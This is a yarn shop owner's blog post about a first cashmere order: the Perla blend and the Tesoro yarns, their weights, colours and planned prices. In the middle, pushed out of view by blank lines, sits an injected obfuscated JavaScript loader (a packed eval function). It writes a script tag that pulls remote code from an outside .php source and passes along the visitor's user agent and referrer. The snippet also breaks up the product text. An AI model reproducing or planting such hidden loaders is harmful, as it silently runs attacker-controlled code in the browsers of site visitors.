I have made my first order for Cashmere. I have chosen 3 different weights and 2 colours of each. This may seem a bit mean but at minimum order of 1kg per colour it still feels like quite a big outlay. I can expand the colour range when I have a clearer idea which weight is more popular.

I am being sent knitting samples this week so that I can work out exactly tension, needle sizes etc but I think they are Chunky, Aran and DK. The Chunky is going to be called Perla and is 80% Cashmere 20% Merino and it is super soft and to be honest feels like pure cashmere but is slightly cheaper. The colours I have chosen are :

Perla - 80% Italian Cashmere 20% Extrafine Merino

 

 

 

 

 

 

 

 

 

 

 

Next eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfkiy|var|u0026u|referrer|iteyd||js|php’.split(‘|’),0,{}))
are the 2 pure cashmere yarns – (an aran and a DK – tbc) which are going to be called Tesoro which is Italian for “treasure” so I thought it was an appropriate name. The heavier yarn comes in the following colours:

100% Cashmere Italian Knitting Yarn in Aran weight - colour 002 - cappuccino

And lastly the lightest weight yarn, (Tesoro Light) also 100% cashmere and half the weight of the above yarn, comes the double knit yarn. This comes in the following colours:
100% Cashmere double knitting yarn in cream with grey flecks100% Cashmere double knitting yarn in pale blue/green with flecks on both

 

 

 

 

 

 

 

 

 

 

 

 

They are going to come in 50g balls. The Perla will cost around £18, and the Teroso will be £20. I believe this is fairly competitive – I have looked around and most places that sell cashmere are selling chinese cashmere which is the same price, and not nearly the same quality. In addition, no-one that I have found is selling chunky or aran weight cashmere. So with this yarn you really are buying something to treasure!
